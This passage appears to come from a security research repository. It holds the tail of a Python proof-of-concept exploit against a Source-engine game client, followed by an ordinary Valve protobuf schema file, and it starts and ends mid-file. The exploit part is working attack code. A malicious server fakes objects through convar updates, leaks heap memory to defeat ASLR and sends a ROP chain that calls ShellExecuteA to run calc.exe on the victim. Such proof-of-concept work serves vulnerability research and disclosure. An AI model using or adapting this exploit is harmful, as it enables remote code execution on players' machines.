table.net_table_name = "abctable" 358 | table.needs_decoder = False 359 | 360 | for _ in range(nprops): 361 | prop = table.props.add() 362 | prop.type = 0x1337ee00 363 | prop.var_name = "abc" 364 | prop.flags = 0 365 | prop.priority = 0 366 | prop.dt_name = "whatever" 367 | prop.num_elements = 0 368 | prop.low_value = 0.0 369 | prop.high_value = 0.0 370 | prop.num_bits = 0x00ff00ff 371 | 372 | tosend = prepare_payload(table, 9) 373 | s.sendto(tosend, addr) 374 | 375 | # The algorithm for updating a convar seems to be quite simple: 376 | # get the strlen of the new value and if it is bigger ,deallocate the old one 377 | # and copy the new value to the buffer 378 | # if it is smaller, then new value will be copied to the buffer (determined by strlen) 379 | # This means if our object contains 0 bytes, we will do the following: 380 | # Send the full object (without the null bytes) 381 | # Then, send the object but only send everything until the last 0 byte and 382 | # work out way towards the beginning of the object. This works because the algorithm 383 | # does not clear the buffer after each change 384 | def send_fake_object(target, object, addr, last=False): 385 | global s 386 | # find out where all the 0 bytes are at 387 | nullbytes = [i for i in reversed(range(len(object))) if object[i] == 0 ] 388 | 389 | # patch them out of the object to send it all 390 | patched_object = b"ABCD" 391 | for c in object: 392 | if c != 0: 393 | patched_object += bytes([ord('Y')]) 394 | else: 395 | patched_object += bytes([ord('A')]) 396 | 397 | patched_object = patched_object[0:len(patched_object)-4] 398 | convar, msg_num = set_convar(target, patched_object.decode('utf-8')) 399 | # convert the convar to a protobuf packet and then patch the pointer values back in 400 | convar = convar.SerializeToString() 401 | msg_idx = 0 402 | while msg_idx < len(convar) and convar[msg_idx:msg_idx+4] != b"ABCD": 403 | msg_idx += 1 404 | 405 | convar_replaced = convar[0:msg_idx] 406 | for i in range(len(object)): 407 | if object[i] != 0: 408 | convar_replaced += bytes([object[i]]) 409 | else: 410 | convar_replaced += b'A' 411 | 412 | assert(len(convar) == len(convar_replaced)) 413 | to_send = prepare_payload(convar_replaced, msg_num, serialize=False) 414 | s.sendto(to_send, addr) 415 | time.sleep(0.15) 416 | 417 | if len(nullbytes) > 0: 418 | send_fake_object(target, object[0:nullbytes.pop()], addr) 419 | elif last: 420 | return 421 | else: 422 | send_fake_object(target, object, addr, True) 423 | 424 | # expects an absolute addr, e.g. client_dll_base + SV_INFINITE_AMMO_OFF + 0x24 425 | # Get the address of the array base also from the debugger from the. 426 | # this from the debugger. 427 | def calculate_entity_bug_offset(addr_offset, array_offset): 428 | offset = (addr_offset - array_offset) % (2**32) 429 | return offset // 0x10 430 | 431 | # This will get filled in later. 432 | engine_base = 0 433 | files_received = [] 434 | # packet parser placeholder 435 | pp = None 436 | # socket 437 | s = None 438 | send_memleak_file = 0 439 | heap_chunk_size = 0x20d0 440 | 441 | def main(): 442 | global pp 443 | global s 444 | # start the HTTP server in a seperate thread to start listening in the background 445 | print("[*] Starting HTTP server to serve memleaked files") 446 | server_sock = setup_http_server(8000) 447 | threading.Thread(target=serve_infoleak_files, args=(server_sock, heap_chunk_size)).start() 448 | 449 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 450 | s.bind(("0.0.0.0", 1337)) 451 | print("[+] Listening on 0.0.0.0:1337") 452 | 453 | # Build filenames for the leak. 454 | num = 4 455 | base = f"memleak{int(time.time())}" 456 | ext = "pwn" 457 | filenames = [f"{base}{i}.{ext}" for i in range(num)] 458 | 459 | # What to do with the data that we leak. 460 | def leak_callback(fn, data): 461 | global files_received 462 | global pp 463 | global engine_base 464 | 465 | files_received.append(fn) 466 | pp = packetparser.PacketParser(leak_callback) 467 | 468 | for i in range(len(data) - 0x54): 469 | vtable_ptr = struct.unpack(' 0) 625 | rop = b"" 626 | for i in range(0, len(s), 4): 627 | rop += p32(engine + pop_eax) 628 | rop += p32(to + i) 629 | rop += p32(engine + pop_edx) 630 | rop += s[i:i+4].encode() 631 | rop += p32(engine + mov_peax_edx) 632 | return rop 633 | 634 | 635 | one_shot_gadget = engine + mov_esp_ebx 636 | 637 | rop = b"\x00\x41\x41\x41" # null byte to trigger exp path 638 | rop += p32(engine + pop_eax) # remove the vtable from the stack 639 | rop += p32(0x6a6a6a6a) # convar vtable for first gagdet in here 640 | rop += strcpy("calc.exe", engine + OFFSET_ENGINE_RW_SECTION + 0x50) # simple strcpy 641 | rop += p32(engine + pop_eax) 642 | rop += p32(engine + OFFSET_ENGINE_RW_SECTION + 0x20) 643 | rop += p32(engine + pop_edx) 644 | rop += p32(engine + jmp_eax) 645 | rop += p32(engine + mov_peax_edx) 646 | rop += p32(engine + pop_eax) 647 | rop += p32(engine + OFFSET_ENGINE_RW_SECTION + 0x24) 648 | rop += p32(engine + pop_edx) 649 | rop += p32(engine + OFFSET_SLEEP) 650 | rop += p32(engine + mov_peax_edx) 651 | 652 | rop += p32(engine + xor_edx_edx) 653 | rop += p32(engine + pop_eax) 654 | rop += p32(engine + OFFSET_ENGINE_RW_SECTION + 0x28) 655 | rop += p32(engine + mov_peax_edx) 656 | rop += p32(engine + pop_eax) 657 | rop += p32(engine + OFFSET_ENGINE_RW_SECTION + 0x2c) 658 | rop += p32(engine + mov_peax_edx) 659 | rop += p32(engine + pop_eax) 660 | rop += p32(engine + OFFSET_ENGINE_RW_SECTION + 0x30) 661 | rop += p32(engine + mov_peax_edx) 662 | rop += p32(engine + pop_eax) 663 | rop += p32(engine + OFFSET_ENGINE_RW_SECTION + 0x34) 664 | rop += p32(engine + mov_peax_edx) 665 | rop += p32(engine + pop_eax) 666 | rop += p32(engine + OFFSET_ENGINE_RW_SECTION + 0x38) 667 | rop += p32(engine + mov_peax_edx) 668 | rop += p32(engine + pop_eax) 669 | rop += p32(engine + OFFSET_ENGINE_RW_SECTION + 0x3c) 670 | rop += p32(engine + inc_edx) 671 | rop += p32(engine + mov_peax_edx) 672 | 673 | rop += p32(engine + pop_eax) 674 | rop += p32(engine + OFFSET_ENGINE_RW_SECTION + 0x40) 675 | rop += p32(engine + pop_edx) 676 | rop += p32(0x41414141) 677 | rop += p32(engine + mov_peax_edx) 678 | 679 | rop += p32(engine + pop_edx) 680 | rop += p32(engine + OFFSET_ENGINE_RW_SECTION + 0x50) 681 | rop += p32(engine + pop_eax) 682 | rop += p32(engine + OFFSET_ENGINE_RW_SECTION + 0x30) 683 | rop += p32(engine + mov_peax_edx) 684 | 685 | rop += p32(engine + pop_eax) 686 | rop += p32(engine + OFFSET_SHELLEXECUTE_A) # shellexecute 687 | 688 | rop += p32(engine + pop_ebx) 689 | rop += p32(engine + OFFSET_ENGINE_RW_SECTION + 0x1c) 690 | rop += p32(engine + mov_esp_ebx) 691 | 692 | convar, msg_num = set_convar("sv_consistency", ptr_to_color(one_shot_gadget, engine + SV_CONSISTENCY_CONVAR_OFF)) 693 | tosend = prepare_payload(convar, msg_num) 694 | s.sendto(tosend, addr) 695 | 696 | vtable_location = engine + SV_VOICECODEC_CONVAR_OFF + CONVAR_STRING_VAL_OFF 697 | print(f"[*] Faking vtable at {hex(vtable_location)} using sv_voicecodec") 698 | send_fake_object("sv_voicecodec", bytes("A"*0x18 + "B"*8 + "C"*400, 'latin1'), addr) 699 | 700 | # fake the objects that are required! 701 | splitscreen_location = engine + SV_DOWNLOADURL_CONVAR_OFF + CONVAR_STRING_VAL_OFF 702 | 703 | print(f"[*] Faking splitscreen object at {hex(splitscreen_location)} using sv_downloadurl") 704 | send_fake_object("sv_downloadurl", rop, addr) 705 | 706 | # TODO: 707 | # add this point, implement some signal between the main thread and the HTTP server to wait until all files have been downloaded so that we can use NETMsg_File to 708 | # request them and egghunt 709 | # this is just to have a chunk of controlled mem, where we can exchange the ptrs in the debugger 710 | print(f"[+] sending payload") 711 | pay, msg_num = get_payload('avatar', accid = 1) 712 | to_send = prepare_payload(pay, msg_num) 713 | s.sendto(to_send, addr) 714 | 715 | print(f"[+] sending oob") 716 | pay, msg_num = get_payload('splitscreen') 717 | to_send = prepare_payload(pay, msg_num) 718 | s.sendto(to_send, addr) 719 | 720 | print(f"[+] Done") 721 | exit(0) 722 | 723 | main() 724 | -------------------------------------------------------------------------------- /pocs/steammessages.proto: -------------------------------------------------------------------------------- 1 | //====== Copyright 1996-2010, Valve Corporation, All rights reserved. ======= 2 | // 3 | // Purpose: The file defines our Google Protocol Buffers which are used in over 4 | // the wire messages between servers as well as between clients and servers. 5 | // 6 | //============================================================================= 7 | 8 | // We care more about speed than code size 9 | option optimize_for = SPEED; 10 | 11 | // We don't use the service generation functionality 12 | option cc_generic_services = false; 13 | 14 | 15 | // 16 | // STYLE NOTES: 17 | // 18 | // Use CamelCase CMsgMyMessageName style names for messages. 19 | // 20 | // Use lowercase _ delimited names like my_steam_id for field names, this is non-standard for Steam, 21 | // but plays nice with the Google formatted code generation. 22 | // 23 | // Try not to use required fields ever. Only do so if you are really really sure you'll never want them removed. 24 | // Optional should be preffered as it will make versioning easier and cleaner in the future if someone refactors 25 | // your message and wants to remove or rename fields. 26 | // 27 | // Use fixed64 for JobId_t, GID_t, or SteamID. This is appropriate for any field that is normally 28 | // going to be larger than 2^56. Otherwise use int64 for 64 bit values that are frequently smaller 29 | // than 2^56 as it will safe space on the wire in those cases. 30 | // 31 | // Similar to fixed64, use fixed32 for RTime32 or other 32 bit values that are frequently larger than 32 | // 2^28. It will safe space in those cases, otherwise use int32 which will safe space for smaller values. 33 | // An exception to this rule for RTime32 is if the value will frequently be zero rather than set to an actual 34 | // time. 35 | // 36 | 37 | import "google/protobuf/descriptor.proto"; 38 | 39 | extend google.protobuf.FieldOptions { 40 | optional bool key_field = 60000 [ default = false ]; 41 | } 42 | 43 | 44 | extend google.protobuf.MessageOptions{ 45 | // Allows us to customize the pooling for different messages 46 | optional int32 msgpool_soft_limit = 60000 [default=32]; 47 | optional int32 msgpool_hard_limit = 60001 [default=384]; 48 | } 49 | 50 | enum GCProtoBufMsgSrc 51 | { 52 | GCProtoBufMsgSrc_Unspecified = 0; 53 | GCProtoBufMsgSrc_FromSystem = 1; 54 | GCProtoBufMsgSrc_FromSteamID = 2; 55 | GCProtoBufMsgSrc_FromGC = 3; 56 | GCProtoBufMsgSrc_ReplySystem = 4; 57 | }; 58 | 59 | // 60 | // Message header, every protcol buffer based message starts with this. 61 | // 62 | message CMsgProtoBufHeader 63 | { 64 | option (msgpool_soft_limit) = 256; 65 | option (msgpool_hard_limit) = 1024; 66 | 67 | // All fields here are optional. 68 | 69 | // Client message header fields 70 | optional fixed64 client_steam_id = 1; // SteamID of the client sending this, typically set in all client originated messages. 71 | optional int32 client_session_id = 2; // SessionID of the client on the CM 72 | 73 | // Source appId for inter-gc messages 74 | optional uint32 source_app_id = 3; // appId of source GC message sender 75 | 76 | // Job routing (may be set on client or inter-server messages) 77 | optional fixed64 job_id_source = 10 [ default = 0xFFFFFFFFFFFFFFFF ]; // JobID that sent this message 78 | optional fixed64 job_id_target = 11 [ default = 0xFFFFFFFFFFFFFFFF ]; // The target job which is expected to be waiting on this message 79 | optional string target_job_name = 12; // the type of job to start when this message is received 80 | 81 | optional int32 eresult = 13 [default = 2]; // For response jobs, the corresponding eresult 82 | optional string error_message = 14; // Optionally an error message in case of failure. Mostly used for debugging purpose. 83 | 84 | // Where did this message originally enter the system? From a client, from another GC, etc 85 | optional GCProtoBufMsgSrc gc_msg_src = 200; 86 | // If this came from another GC, what is the GC that it came from 87 | optional uint32 gc_dir_index_source = 201; 88 | } 89 | 90 | 91 | // 92 | // Used to serialize CWebAPIKey objects. 93 | // 94 | message CMsgWebAPIKey 95 | { 96 | optional uint32 status = 1 [ default = 0xFF ]; 97 | optional uint32 account_id = 2 [ default = 0 ]; 98 | optional uint32 publisher_group_id = 3 [ default = 0 ]; 99 | optional uint32 key_id = 4; 100 | optional string domain = 5; 101 | } 102 | 103 | 104 | // 105 | // An HTTP request message 106 | // 107 | message CMsgHttpRequest 108 | { 109 | message RequestHeader 110 | { 111 | optional string name = 1; 112 | optional string value = 2; 113 | } 114 | 115 | message QueryParam 116 | { 117 | optional string name = 1; 118 | optional bytes value = 2; 119 | } 120 | 121 | optional uint32 request_method = 1; 122 | optional string hostname = 2; 123 | optional string url = 3; 124 | repeated RequestHeader headers = 4; 125 | repeated QueryParam get_params = 5; 126 | repeated QueryParam post_params = 6; 127 | optional bytes body = 7; 128 | optional uint32 absolute_timeout = 8; 129 | } 130 | 131 | 132 | // 133 | // A web API request 134 | // 135 | message CMsgWebAPIRequest 136 | { 137 | optional string UNUSED_job_name = 1; // no longer used 138 | optional string interface_name = 2; 139 | optional string method_name = 3; 140 | optional uint32 version = 4; 141 | optional CMsgWebAPIKey api_key = 5; 142 | optional CMsgHttpRequest request = 6; 143 | optional uint32 routing_app_id = 7; 144 | } 145 | 146 | 147 | // 148 | // An HTTP response 149 | // 150 | message CMsgHttpResponse 151 | { 152 | message ResponseHeader 153 | { 154 | optional string name = 1; 155 | optional string value = 2; 156 | } 157 | 158 | optional uint32 status_code = 1; 159 | repeated ResponseHeader headers = 2; 160 | optional bytes body = 3; 161 | } 162 | 163 | // 164 | // Message struct for k_EMsgAMFindAccounts 165 | // 166 | message CMsgAMFindAccounts 167 | { 168 | optional uint32 search_type = 1; 169 | optional string search_string = 2; 170 | } 171 | 172 | 173 | // 174 | // Message struct for k_EMsgAMFindAccountsResponse 175 | // 176 | message CMsgAMFindAccountsResponse 177 | { 178 | repeated fixed64 steam_id = 1; 179 | } 180 | 181 | // 182 | // k_EMsgNotifyWatchdog 183 | // 184 | message CMsgNotifyWatchdog 185 | { 186 | optional uint32 source = 1; // Alert source 187 | optional uint32 alert_type = 2; // type of alert 188 | optional uint32 alert_destination = 3; // destination for alert 189 | optional bool critical = 4; // Is the alert critical 190 | optional uint32 time = 5; // world time that alert occurred 191 | optional uint32 appid = 6; // app to forward the alert to for alerts with alert_type set to AppID 192 | optional string text = 7; // Alert text 193 | } 194 | 195 | // 196 | // k_EGCMsgGetLicenses 197 | // 198 | message CMsgAMGetLicenses 199 | { 200 | optional fixed64 steamid = 1; // the steam ID to fetch licenses for 201 | } 202 | 203 | 204 | // 205 | // Used by CMsgAMGetLicensesResponse 206 | // 207 | message CMsgPackageLicense 208 | { 209 | optional uint32 package_id = 1; // ID of the package this license is for 210 | optional uint32 time_created = 2; // RTime32 when the license was granted 211 | optional uint32 owner_id = 3; // the original owner if this license. if this is different from given steamid, it's a borrowed package 212 | } 213 | 214 | // 215 | // k_EMsgAMGetLicensesResponse 216 | // 217 | message CMsgAMGetLicensesResponse 218 | { 219 | repeated CMsgPackageLicense license = 1; // the list of licenses the user owns 220 | optional uint32 result = 2; // result code, k_EResultOK on success 221 | 222 | } 223 | 224 | 225 | // 226 | // k_EMsgAMGetUserGameStats 227 | // 228 | message CMsgAMGetUserGameStats 229 | { 230 | optional fixed64 steam_id = 1; // ID of user 231 | optional fixed64 game_id = 2; // Game ID of stats to get 232 | repeated uint32 stats = 3; 233 | } 234 | 235 | 236 | // 237 | // k_EMsgAMGetUserGameStatsResponse 238 | // 239 | message CMsgAMGetUserGameStatsResponse 240 | { 241 | optional fixed64 steam_id = 1; // ID of user 242 | optional fixed64 game_id = 2; // Game ID 243 | optional int32 eresult = 3 [default = 2]; // EResult with result of query. (Fields following are only valid if this is EResultOK.) 244 | 245 | message Stats 246 | { 247 | optional uint32 stat_id = 1; 248 | optional uint32 stat_value = 2; // There are 4 of these, really only 8 bits each. Yay for compression! 249 | } 250 | 251 | message Achievement_Blocks 252 | { 253 | optional uint32 achievement_id = 1; 254 | optional uint32 achievement_bit_id = 2; 255 | optional fixed32 unlock_time = 3; // There are only 32 of these, matching the achievment bitfields, we check on the receiver that 256 | } 257 | 258 | repeated Stats stats = 4; 259 | 260 | repeated Achievement_Blocks achievement_blocks = 5; 261 | 262 | } 263 | 264 | 265 | // k_EMsgAdminGCGetCommandList 266 | message CMsgGCGetCommandList 267 | { 268 | optional uint32 app_id = 1; 269 | optional string command_prefix = 2; // prefix of the command to filter by 270 | }; 271 | 272 | // k_EMsgAdminGCGetCommandListResponse 273 | message CMsgGCGetCommandListResponse 274 | { 275 | repeated string command_name = 1; // a list of command names 276 | }; 277 | 278 | // 279 | // k_EGCMsgMemCachedGet 280 | // 281 | message CGCMsgMemCachedGet 282 | { 283 | repeated string keys = 1; 284 | } 285 | 286 | // 287 | // k_EGCMsgMemCachedGetResponse 288 | // 289 | message CGCMsgMemCachedGetResponse 290 | { 291 | message ValueTag 292 | { 293 | optional bool found = 1; 294 | optional bytes value = 2; 295 | } 296 | 297 | repeated ValueTag values = 1; 298 | } 299 | 300 | // 301 | // k_EGCMsgMemCachedSet 302 | // 303 | message CGCMsgMemCachedSet 304 | { 305 | message KeyPair 306 | { 307 | optional string name = 1; 308 | optional bytes value = 2; 309 | } 310 | 311 | repeated KeyPair keys = 1; 312 | } 313 | 314 | // 315 | // k_EGCMsgMemCachedDelete 316 | // 317 | message CGCMsgMemCachedDelete 318 | { 319 | repeated string keys = 1; 320 | } 321 | 322 | // 323 | // k_EGCMsgMemCachedStats 324 | // 325 | message CGCMsgMemCachedStats 326 | { 327 | // Nothing, yet. 328 | } 329 | 330 | // 331 | // k_EGCMsgMemCachedStatsResponse 332 | // 333 | message CGCMsgMemCachedStatsResponse 334 | { 335 | optional uint64 curr_connections = 1; 336 | optional uint64 cmd_get = 2; 337 | optional uint64 cmd_set = 3; 338 | optional uint64 cmd_flush = 4; 339 | optional uint64 get_hits = 5; 340 | optional uint64 get_misses = 6; 341 | optional uint64 delete_hits = 7; 342 | optional uint64 delete_misses = 8; 343 | optional uint64 bytes_read = 9; 344 | optional uint64 bytes_written = 10; 345 | optional uint64 limit_maxbytes = 11; 346 | optional uint64 curr_items = 12; 347 | optional uint64 evictions = 13; 348 | optional uint64 bytes = 14; 349 | } 350 | 351 | // 352 | // k_EGCMsgSQLStats 353 | // 354 | message CGCMsgSQLStats 355 | { 356 | optional uint32 schema_catalog = 1; 357 | } 358 | 359 | // 360 | // k_EGCMsgSQLStatsResponse 361 | // 362 | message CGCMsgSQLStatsResponse 363 | { 364 | optional uint32 threads = 1; 365 | optional uint32 threads_connected = 2; 366 | optional uint32 threads_active = 3; 367 | optional uint32 operations_submitted = 4; 368 | optional uint32 prepared_statements_executed = 5; 369 | optional uint32 non_prepared_statements_executed = 6; 370 | optional uint32 deadlock_retries = 7; 371 | optional uint32 operations_timed_out_in_queue = 8; 372 | optional uint32 errors = 9; 373 | } 374 | 375 | // k_EMsgAMAddFreeLicense 376 | message CMsgAMAddFreeLicense 377 | { 378 | optional fixed64 steamid = 1; // SteamID of account 379 | optional uint32 ip_public = 2; // IP of client (zero if not a client-initiated message) 380 | optional uint32 packageid = 3; // ID for package to purchase. Should be k_uPackageIdInvalid if shopping cart gid set 381 | optional string store_country_code = 4; // country code to use for purchase 382 | }; 383 | 384 | // k_EMsgAMAddFreeLicenseResponse 385 | message CMsgAMAddFreeLicenseResponse 386 | { 387 | optional int32 eresult = 1 [default = 2]; // EResult with result of Purchase. 388 | optional int32 purchase_result_detail = 2; // Detailed result information 389 | optional fixed64 transid = 3; // ID of the created transaction 390 | }; 391 | 392 | 393 | // 394 | // k_EGCMsgGetIPLocation 395 | // 396 | message CGCMsgGetIPLocation 397 | { 398 | repeated fixed32 ips = 1; 399 | } 400 | 401 | // 402 | // k_EGCMsgGetIPLocationResponse 403 | // 404 | message CIPLocationInfo 405 | { 406 | optional uint32 ip = 1; 407 | optional float latitude = 2; 408 | optional float longitude = 3; 409 | optional string country = 4; 410 | optional string state = 5; 411 | optional string city = 6; 412 | } 413 | 414 | message CGCMsgGetIPLocationResponse 415 | { 416 | repeated CIPLocationInfo infos = 1; 417 | } 418 | 419 | 420 | // 421 | // k_EGCMsgSystemStatsSchema 422 | // 423 | message CGCMsgSystemStatsSchema 424 | { 425 | optional uint32 gc_app_id = 1; 426 | optional bytes schema_kv = 2; 427 | } 428 | 429 | // 430 | // k_EGCMsgGetSystemStats 431 | // 432 | message CGCMsgGetSystemStats 433 | { 434 | } 435 | 436 | // 437 | // k_EGCMsgGetSystemStatsResponse 438 | // 439 | message CGCMsgGetSystemStatsResponse 440 | { 441 | optional uint32 gc_app_id = 1; 442 | optional bytes stats_kv = 2; 443 | // statically included in GCHost's stats 444 | optional uint32 active_jobs = 3; 445 | optional uint32 yielding_jobs = 4; 446 | optional uint32 user_sessions = 5; 447 | optional uint32 game_server_sessions = 6; 448 | optional uint32 socaches = 7; 449 | optional uint32 socaches_to_unload = 8; 450 | optional uint32 socaches_loading = 9; 451 | optional uint32 writeback_queue = 10; 452 | optional uint32 steamid_locks = 11; 453 | optional uint32 logon_queue = 12; 454 | optional uint32 logon_jobs = 13; 455 | } 456 | 457 | // k_EGCMsgSendEmail 458 | message CMsgAMSendEmail 459 | { 460 | message ReplacementToken 461 | { 462 | optional string token_name = 1; 463 | optional string token_value = 2; 464 | } 465 | message PersonaNameReplacementToken 466 | { 467 | optional fixed64 steamid = 1; 468 | optional string token_name = 2; 469 | } 470 | optional fixed64 steamid = 1; 471 | optional uint32 email_msg_type = 2; 472 | optional uint32 email_format = 3; 473 | repeated PersonaNameReplacementToken persona_name_tokens = 5; 474 | 475 | optional uint32 source_gc = 6; 476 | repeated ReplacementToken tokens = 7; 477 | } 478 | 479 | // k_EGCMsgSendEmailResponse 480 | message CMsgAMSendEmailResponse 481 | { 482 | optional uint32 eresult = 1 [default = 2]; 483 | } 484 | 485 | // k_EGCMsgGetEmailTemplate 486 | message CMsgGCGetEmailTemplate 487 | { 488 | optional uint32 app_id = 1; 489 | optional uint32 email_msg_type = 2; 490 | optional int32 email_lang = 3; 491 | optional int32 email_format = 4; 492 | } 493 | 494 | // k_EGCMsgGetEmailTemplateResponse 495 | message CMsgGCGetEmailTemplateResponse 496 | { 497 | optional uint32 eresult = 1 [default = 2]; 498 | optional bool template_exists = 2; 499 | optional string template = 3; 500 | } 501 | 502 | // k_EMsgAMGrantGuestPasses2 503 | message CMsgAMGrantGuestPasses2 504 | { 505 | optional fixed64 steam_id = 1; 506 | optional uint32 package_id = 2; 507 | optional int32 passes_to_grant = 3; 508 | optional int32 days_to_expiration = 4; 509 | optional int32 action = 5; 510 | } 511 | 512 | // k_EMsgAMGrantGuestPasses2Response 513 | message CMsgAMGrantGuestPasses2Response 514 | { 515 | optional int32 eresult = 1 [default = 2]; 516 | optional int32 passes_granted = 2 [default = 0]; 517 | } 518 | 519 | // k_EGCMsgGetAccountDetails 520 | message CGCSystemMsg_GetAccountDetails 521 | { 522 | option (msgpool_soft_limit) = 128; 523 | option (msgpool_hard_limit) = 512; 524 | 525 | optional fixed64 steamid = 1; // User to get details for 526 | optional uint32 appid = 2; // appid of the source GC 527 | } 528 | 529 | message CGCSystemMsg_GetAccountDetails_Response 530 | { 531 | option (msgpool_soft_limit) = 128; 532 | option (msgpool_hard_limit) = 512; 533 | 534 | optional uint32 eresult_deprecated = 1 [ default = 2 ]; // Result of the request 535 | optional string account_name = 2; // Login name for the user 536 | optional string persona_name = 3; // Diplay name for the user 537 | optional bool is_profile_public = 4; // Is the user's profile public 538 | optional bool is_inventory_public = 5; // Is the user's inventory public 539 | //optional bool is_trusted = 6; // Is the user trusted 540 | optional bool is_vac_banned = 7; // Is the user vac banned 541 | optional bool is_cyber_cafe = 8; // Is the user a cybe cafe 542 | optional bool is_school_account = 9; // Is the user a school account 543 | optional bool is_limited = 10; // Is the user limited 544 | optional bool is_subscribed = 11; // Is the user subscribed to this app 545 | optional uint32 package = 12; // The package the user owns the app through 546 | optional bool is_free_trial_account = 13; // Is the user playing the game for free 547 | optional uint32 free_trial_expiration = 14; // If the user is playing for free, when does it expire? 548 | optional bool is_low_violence = 15; // Is the user restricted to low-violence for this app 549 | optional bool is_account_locked_down = 16; // Is the user's account locked 550 | optional bool is_community_banned = 17; // Is the user banned from performing community actions 551 | optional bool is_trade_banned = 18; // Is the user banned from trading items to other users on Steam 552 | optional uint32 trade_ban_expiration = 19; // The time at which the user is unbanned from trading 553 | optional uint32 accountid = 20; // The account ID of the user we're responding about 554 | optional uint32 suspension_end_time = 21; // If suspended (ban that ends), the date/time the suspension ends 555 | optional string currency = 22; // The currency associated with this account 556 | optional uint32 steam_level = 23; // The Steam level of the user 557 | optional uint32 friend_count = 24; // Number of friends 558 | optional uint32 account_creation_time = 25; // Time when the account was created 559 | optional bool is_steamguard_enabled = 27; // Is SteamGuard enabled 560 | optional bool is_phone_verified = 28; // Has a verified phone number 561 | optional bool is_two_factor_auth_enabled = 29; // Has SteamGuard two factor auth 562 | optional uint32 two_factor_enabled_time = 30; // Time two factor was added 563 | optional uint32 phone_verification_time = 31; // Time phone was verified 564 | optional uint64 phone_id = 33; // Phone identifier 565 | optional bool is_phone_identifying = 34; // Phone is identifying 566 | } 567 | 568 | 569 | // 570 | // k_EGCMsgGetPersonaNames 571 | // 572 | message CMsgGCGetPersonaNames 573 | { 574 | repeated fixed64 steamids = 1; // Users whose persona names we want 575 | } 576 | 577 | message CMsgGCGetPersonaNames_Response 578 | { 579 | message PersonaName 580 | { 581 | optional fixed64 steamid = 1; // User we could get a name for 582 | optional string persona_name = 2; // Display name for that user 583 | } 584 | 585 | repeated PersonaName succeeded_lookups = 1; // Users we could get names for 586 | repeated fixed64 failed_lookup_steamids = 2; // Users we failed to get a names for 587 | } 588 | 589 | 590 | // 591 | // k_EGCMsgCheckFriendship 592 | // 593 | message CMsgGCCheckFriendship 594 | { 595 | optional fixed64 steamid_left = 1; // User whose friends list we'll load 596 | optional fixed64 steamid_right = 2; // User to look for in the list we load 597 | } 598 | 599 | message CMsgGCCheckFriendship_Response 600 | { 601 | optional bool success = 1; // Whether the API calls all succeeded 602 | optional bool found_friendship = 2; // Denotes whether the users are friends (false on API failure) 603 | } 604 | 605 | 606 | // 607 | // k_EGCMsgMasterSetDirectory 608 | // 609 | message CMsgGCMsgMasterSetDirectory 610 | { 611 | message SubGC 612 | { 613 | optional uint32 dir_index = 1; // The index in the GC directory indicating what role this GC serves 614 | optional string name = 2; // A string to give the GC a name for asserts/logs/connection, etc 615 | optional string box = 3; // The box that this GC is expected to be associated with 616 | optional string command_line = 4; // Additional command line parameters to provide for this GC instance 617 | optional string gc_binary = 5; // The binary that should be launched for this GC. This can be left blank to launch the default binary 618 | } 619 | 620 | optional uint32 master_dir_index = 1; // The index of the master GC so that it knows how to setup the routing tables to include the master and sub GCs 621 | repeated SubGC dir = 2; // A listing of the various sub GCs that the GCH should create 622 | } 623 | 624 | message CMsgGCMsgMasterSetDirectory_Response 625 | { 626 | optional int32 eresult = 1 [default = 2]; // Could the GC start the processes? It doesn't mean they will all get initialized and each sub GC still needs to ack, but catches failure earlier 627 | } 628 | 629 | // 630 | // k_EGCMsgWebAPIJobRequestForwardResponse 631 | // 632 | message CMsgGCMsgWebAPIJobRequestForwardResponse 633 | { 634 | optional uint32 dir_index = 1; // The directory index of the GC which has been delegated to handle this particular WebAPI request 635 | } 636 | 637 | // 638 | // k_EGCMsgGetPurchaseTrustStatus 639 | // 640 | message CGCSystemMsg_GetPurchaseTrust_Request 641 | { 642 | optional fixed64 steamid = 1; // User to get details for 643 | } 644 | 645 | message CGCSystemMsg_GetPurchaseTrust_Response 646 | { 647 | optional bool has_prior_purchase_history = 1; // The user has prior purchase history with no recent gaps in purchase activity 648 | optional bool has_no_recent_password_resets = 2; // The user hasn't had their password reset recently 649 | optional bool is_wallet_cash_trusted = 3; // False if the user has recently used a new payment method to fund his or her wallet 650 | optional uint32 time_all_trusted = 4; // The time that the user will be trusted in all of the given fields if he or she were to complete a microtransaction right now 651 | } 652 | 653 | // k_EMsgGCHAccountVacStatusChange 654 | message CMsgGCHAccountVacStatusChange 655 | { 656 | optional fixed64 steam_id = 1; 657 | optional uint32 app_id = 2; 658 | optional uint32 rtime_vacban_starts = 3; 659 | optional bool is_banned_now = 4; 660 | optional bool is_banned_future = 5; 661 | } 662 | 663 | // 664 | // k_EGCMsgGetPartnerAccountLink 665 | // 666 | message CMsgGCGetPartnerAccountLink 667 | { 668 | optional fixed64 steamid = 1; // User whose partner account link details we want to get 669 | } 670 | 671 | message CMsgGCGetPartnerAccountLink_Response 672 | { 673 | optional uint32 pwid = 1; // Perfect World ID (not specified if not linked) 674 | optional uint32 nexonid = 2; // Nexon ID (not specified if not linked) 675 | } 676 | 677 | 678 | // 679 | // k_EGCMsgMasterSetWebAPIRouting and k_EGCMsgMasterSetClientMsgRouting 680 | // 681 | message CMsgGCRoutingInfo 682 | { 683 | enum RoutingMethod 684 | { 685 | RANDOM = 0; // random instead of round-robin so that we don't need to track state per routing pool 686 | DISCARD = 1; 687 | CLIENT_STEAMID = 2; 688 | PROTOBUF_FIELD_UINT64 = 3; 689 | WEBAPI_PARAM_UINT64 = 4; 690 | } 691 | 692 | repeated uint32 dir_index = 1; // One or more directory indices which are potential targets for this route 693 | optional RoutingMethod method = 2 [ default = RANDOM ]; // Method by which the route choses its target from multiple dir_index values 694 | optional RoutingMethod fallback = 3 [ default = DISCARD ]; // Fallback method to use when default method is not applicable (eg, field can't be parsed) 695 | optional uint32 protobuf_field = 4; // For PROTOBUF_FIELD_UINT64, the protobuf field number to decode as a uint64 for routing 696 | optional string webapi_param = 5; // For WEBAPI_PARAM_UINT64 method, the case-insensitive name of the webapi parameter 697 | } 698 | 699 | message CMsgGCMsgMasterSetWebAPIRouting 700 | { 701 | message Entry 702 | { 703 | optional string interface_name = 1; 704 | optional string method_name = 2; 705 | optional CMsgGCRoutingInfo routing = 3; 706 | } 707 | repeated Entry entries = 1; 708 | } 709 | 710 | message CMsgGCMsgMasterSetClientMsgRouting 711 | { 712 | message Entry 713 | { 714 | optional uint32 msg_type = 1; // Client message ID to be routed; top bit is ignored for historical reasons 715 | optional CMsgGCRoutingInfo routing = 2; 716 | } 717 | repeated Entry entries = 1; 718 | } 719 | 720 | message 